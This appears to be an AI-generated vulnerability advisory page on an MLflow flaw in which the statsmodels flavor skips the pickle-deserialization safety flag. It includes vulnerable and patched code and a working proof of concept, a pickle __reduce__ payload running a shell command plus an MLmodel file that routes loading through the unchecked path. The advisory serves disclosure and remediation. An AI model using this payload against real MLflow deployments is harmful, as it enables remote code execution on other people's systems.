CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GQVG-GMMX-X4HM

GHSA-GQVG-GMMX-X4HM: Security Control Bypass leading to Remote Code Execution in MLflow statsmodels Flavor

Alon Barad
Alon Barad
Software Engineer

Sep 1, 2026·5 min read·5 visits

Executive Summary (TL;DR)

MLflow fails to enforce pickle deserialization restrictions within its statsmodels loading flavor, allowing remote code execution via malicious model artifacts.

A security control bypass vulnerability in MLflow allows remote attackers to execute arbitrary code on a system running MLflow when loading a crafted model artifact. The security control MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False, which restricts loading unsafe pickle-based models, can be bypassed by specifying the mlflow.statsmodels model flavor in the model's configuration.

Vulnerability Overview

The open-source platform MLflow provides a suite of tools to manage the machine learning lifecycle, including tracking experiments, packaging code, and sharing models. To facilitate model deployment across diverse frameworks, MLflow supports multiple flavors that dictate how models are saved, serialized, and subsequently loaded back into memory.

To address risks associated with arbitrary object deserialization, MLflow exposes a configuration flag named MLFLOW_ALLOW_PICKLE_DESERIALIZATION. When set to False, this control is intended to block the loading of unsafe pickle-based serialization formats, which are known to allow arbitrary code execution during deserialization.

This vulnerability, tracked under GHSA-GQVG-GMMX-X4HM, represents a critical breakdown in this security boundary. Rather than implementing a centralized validation layer, MLflow relied on individual model flavors to enforce the safety flag, leading to an omission in the statsmodels module.

Root Cause Analysis

The root cause of GHSA-GQVG-GMMX-X4HM is located within the loading logic of the mlflow.statsmodels flavor. Specifically, the internal model loading routine fails to check the state of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable before initiating deserialization.

When a model saved under the statsmodels flavor is loaded, the execution flow is passed directly to the statsmodels library. The wrapper function calls statsmodels.iolib.api.load_pickle, which directly deserializes the target file using Python's native, unsafe pickle module.

Because no verification occurs prior to this call, the environment variable configuration is completely bypassed. This enables an attacker to supply a serialized payload that executes system commands or loads malicious modules the moment the model file is parsed by the application.

Code Analysis

The vulnerable implementation in mlflow/statsmodels/init.py demonstrates the lack of any security checks prior to loading the pickled file. In versions prior to v3.15.0, the function load_pickle was executed immediately upon retrieving the model path.

# Vulnerable Implementation
def _load_model(path):
    import statsmodels.iolib.api as smio
 
    # Direct loading of untrusted pickle file without checking safety flags
    return smio.load_pickle(path)

The patch introduced in Pull Request #24686 implements explicit safety checks. The updated logic checks the value of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable and raises an exception if the flag is disabled, unless executing within a trusted Databricks environment.

# Patched Implementation (mlflow/statsmodels/__init__.py)
def _load_model(path):
    # Verify whether pickle deserialization is permitted globally
    if (
        not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
        and not is_in_databricks_runtime()
        and not is_in_databricks_model_serving_environment()
    ):
        raise MlflowException(
            "Deserializing model using pickle is disallowed, but this model is saved "
            "in pickle format. The workaround is to set environment variable "
            "'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true'."
        )
    import statsmodels.iolib.api as smio
 
    return smio.load_pickle(path)

While the fix addresses the omission in the statsmodels flavor, the architecture remains decentralized. Any new or unpatched flavor that deserializes content using pickle without referencing this validation utility could introduce similar bypasses.

Exploitation

An exploitation attempt begins with the creation of a weaponized serialized object containing a custom reduce method. The attacker serializes this object using the standard Python pickle module, storing the payload inside a file named model.pkl.

import os
import pickle
 
class ExploitPayload:
    def __reduce__(self):
        # Executes a custom system command upon deserialization
        return (os.system, ("whoami > /tmp/rce_proof.txt",))
 
# Serialize the malicious object
with open("model.pkl", "wb") as f:
    f.write(pickle.dumps(ExploitPayload()))

To map the payload to the vulnerable loading pathway, the attacker creates a metadata file named MLmodel. This configuration registers mlflow.statsmodels as the loader module, forcing MLflow to dispatch loading operations to the unvalidated handler.

flavors:
  statsmodels:
    statsmodels_version: 0.14.0
    data: model.pkl
  pyfunc:
    loader_module: mlflow.statsmodels

Once the targeted application or automated server attempts to load this registered model, the statsmodels flavor executes the deserialization task, triggering immediate code execution with the permissions of the running process.

Impact Assessment

The successful exploitation of this vulnerability allows unauthenticated remote attackers to execute arbitrary system commands within the context of the user running MLflow. In typical machine learning infrastructure, this execution context may have access to highly sensitive datasets, training environments, and cloud provider credentials.

If the MLflow server or client is configured to deploy model serving endpoints automatically, the attack surface is exposed to any network actor capable of submitting model files or altering the model registry. This scenario increases the severity score to 9.8, indicating complete loss of confidentiality, integrity, and availability.

In environments where user interaction is required, such as a data scientist importing an untrusted model into a local development workspace, the severity remains high (8.8) due to the necessity of a specific user action to load the model.

Remediation & Mitigation

The primary and recommended mitigation is to upgrade the MLflow package to version v3.15.0 or later. This release introduces the required validation check in the statsmodels flavor, ensuring that the MLFLOW_ALLOW_PICKLE_DESERIALIZATION flag is respected globally across all official loaders.

In scenarios where immediate patching is not feasible, organizations should implement strict egress network filtering to prevent compromised workloads from communicating with external Command and Control (C2) servers. Additionally, input validation should be enforced to restrict model registration to trusted origins only.

Furthermore, security teams should continuously audit MLflow artifact storage for unusual MLmodel configurations. Specifically, any configuration specifying mlflow.statsmodels as the loader module should be flagged for analysis if that flavor is not standard in the development workflow.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

MLflow installations using the mlflow.statsmodels flavor prior to version v3.15.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
mlflow
MLflow
< 3.15.03.15.0
AttributeDetail
CWE IDCWE-502, CWE-284
Attack VectorNetwork / Local
CVSS v3.1 Score9.8
Exploit StatusProof-of-Concept
KEV StatusNot Listed
ImpactRemote Code Execution

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficient verification, allowing the execution of arbitrary code.

References & Sources

  • [1]GitHub Advisory Record
  • [2]MLflow Fix Commit
  • [3]MLflow Pull Request
  • [4]MLflow Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•8 minutes ago•CVE-2026-84310
4.8

CVE-2026-84310: Algorithmic Complexity Exhaustion in pypdf

An algorithmic complexity vulnerability in the pypdf library before version 6.16.1 allows remote or local attackers to cause an application denial of service. The flaw is triggered via maliciously crafted PDF documents that utilize either deeply nested outlines or exponential Directed Acyclic Graph (DAG) structures in Form XObjects.

Alon Barad
Alon Barad
0 views•7 min read
•about 1 hour ago•CVE-2026-77567
8.1

CVE-2026-77567: Multi-Factor Authentication Bypass in Filament App-Based MFA

An authentication bypass vulnerability exists in Filament's app-based (TOTP/authenticator) multi-factor authentication (MFA) system when recovery codes are enabled. This allow attackers possessing primary credentials to bypass the second-factor authentication check entirely by manipulating the Livewire state during the challenge-form validation lifecycle.

Alon Barad
Alon Barad
3 views•7 min read
•about 2 hours ago•CVE-2026-84307
3.7

CVE-2026-84307: Authentication Oracle and Multi-Factor Authentication Challenge Leak in Filament

An authentication oracle vulnerability exists in Filament before 4.12.5 and 5.7.5. The application initiates MFA challenge workflows prior to verifying user authorization policies, allowing unauthenticated attackers to validate guessed credentials.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-84306
6.5

CVE-2026-84306: Multi-Factor Authentication Bypass via Replay Attack in Filament

A multi-factor authentication bypass vulnerability exists in Filament (Laravel full-stack framework panels) due to improper time-step tracking of Time-Based One-Time Password (TOTP) codes. By submitting valid TOTP codes from an older time window within the drift allowance, an attacker with a user's password can bypass the single-use MFA guarantee and obtain unauthorized account access.

Alon Barad
Alon Barad
3 views•7 min read
•about 4 hours ago•CVE-2026-19418
7.3

CVE-2026-19418: Broken Access Control and Cross-Site Request Forgery in TYPO3 CMS Core

CVE-2026-19418 is a high-severity origin validation vulnerability in TYPO3 CMS that enables Cross-Site Request Forgery (CSRF) and access control bypasses. Due to architectural consolidation of entry points in version 13.0, the core ReferrerEnforcer fails to isolate backend endpoints from the frontend, allowing an attacker with frontend script execution capabilities to perform unauthorized administrative actions.

Alon Barad
Alon Barad
4 views•5 min read
•about 5 hours ago•CVE-2026-84304
8.7

CVE-2026-84304: Uncontrolled Resource Consumption in gRPC-Go HTTP/2 Frame Processing

CVE-2026-84304 is a high-severity uncontrolled resource consumption vulnerability in gRPC-Go, the Go implementation of the gRPC framework. The issue stems from a memory amplification flaw inside the HTTP/2 DATA frame processing subsystem. Remote, unauthenticated attackers can exploit this vulnerability by sending a high volume of heavily fragmented, tiny DATA frames within multiplexed concurrent streams. This causes gRPC-Go servers to allocate excessive internal metadata structures on the Go heap, leading to severe heap memory amplification, intense garbage collection thrashing, and process termination due to Out-of-Memory (OOM) conditions.

Alon Barad
Alon Barad
3 views•7 min read